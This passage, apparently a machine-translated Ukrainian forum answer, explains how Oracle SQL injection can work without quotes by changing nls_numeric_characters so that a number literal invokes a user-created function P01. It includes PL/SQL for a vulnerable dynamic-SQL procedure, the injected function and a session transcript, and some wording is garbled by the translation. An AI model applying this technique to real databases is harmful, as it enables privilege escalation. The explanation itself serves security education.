Так, можна здійснити атаку ін'єкцій SQL без подання лапок у параметрі.
Це можна зробити з допомогою подвигу, який стосується того, як обробляються цифри та / або дати. На рівні сеансу можна вказати, який формат дати чи числа. Маніпулюючи цим, ви можете вводити будь-який символ.
За замовчуванням у Великобританії та США використовується кома для позначення роздільника тисяч у цифрах та повна зупинка для десяткової крапки. Ви можете змінити ці параметри за замовчуванням, виконавши:
alter session set nls_numeric_characters = 'PZ';
Це означає, що "P" - це десяткова крапка, а "Z" - роздільник тисяч. Так:
0P01
Чи є число 0,01. Однак якщо ви створили функцію P01, перед перетворенням числа буде вибрано посилання на об'єкт. Це дозволяє виконувати функції в базі даних, що дає вам зростаючі повноваження, як це:
Створіть основну функцію "get by id":
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Також створіть функцію P01, яка робить щось небажане (у цьому випадку просто створюючи таблицю, але ви отримуєте ідею):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
І нам добре їхати:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Ніде ні лапок, але нам все-таки вдалося виконати "приховану" функцію P01 і створити таблицю t
!
Хоча це може бути важко зробити на практиці (і може знадобитися певних внутрішніх знань / допомоги), це все ж показує, що ви можете вводити SQL без необхідності. Змінення кані nls_date_format
дозволяє зробити подібні речі.
Оригінальні висновки щодо номерів були Девід Літчфілд, і ви можете прочитати його документ тут . Ви можете знайти дискусію Тома Кейта про те, як можна використовувати дати тут .